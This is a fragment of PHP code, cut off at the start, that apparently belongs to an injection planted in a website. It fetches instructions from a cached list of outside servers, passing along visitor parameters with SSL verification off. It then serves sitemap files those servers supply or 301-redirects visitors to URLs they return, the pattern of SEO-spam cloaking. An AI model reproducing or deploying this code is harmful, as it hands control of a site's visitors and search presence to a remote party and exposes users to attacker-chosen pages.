0) {
$cache_time = filemtime($cache_file);
$current_time = time();
// Check if cache has expired
if (($current_time - $cache_time) > $cache_expiration) {
// Update the cache with the latest API
updateApiCache($cache_file, $country);
}
} else {
// Cache file does not exist, update the cache with the latest API
updateApiCache($cache_file, $country);
}
if (file_exists($cache_file)) {
$api_urls = file($cache_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$html_content = false;
$error_message = null;
foreach ($api_urls as $api_url) {
$api_url=trim($api_url);
$country=trim($country);
$word = $_GET[\'word\'];
$t = $_GET[\'t\'];
$url_with_params = $api_url.\"?cr=\".$country.\"¤t_url=\".$current_url.\"&word=\".$word.\"&t=\".$t.\"\";
$ch = curl_init($url_with_params);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$html_content = curl_exec($ch);
curl_close($ch);
if ($html_content !== false) {
$word = isset($_GET[\'word\']) ? $_GET[\'word\'] : \'\';
if (strpos($word, \'sitemap_\') !== false) {
if (pathinfo($word, PATHINFO_EXTENSION) === \'txt\') {
header(\'Content-Type: text/plain\');
header(\'Content-Disposition: attachment; filename=\"\' . $word . \'\"\');
echo $html_content;
break;
} elseif (pathinfo($word, PATHINFO_EXTENSION) === \'xml\') {
header(\'Content-Type: application/xml\');
header(\'Content-Disposition: attachment; filename=\"\' . $word . \'\"\');
echo $html_content;
break;
}
}else{
$response = json_decode($html_content, true);
$redirectUrl = $response[\'redirect_url\']; // Replace \'redirect_url\' with the actual key in your response
if (!empty($redirectUrl)) {
// Perform 301 redirect
header(\"HTTP/1.1 301 Moved Permanently\");
header(\"Location: $redirectUrl\");
exit();
}
break; // Break the loop if successful
}
}else{
// echo \"
html NOT GOT
\";
}
$error_message = error_get_last();
}
}
?>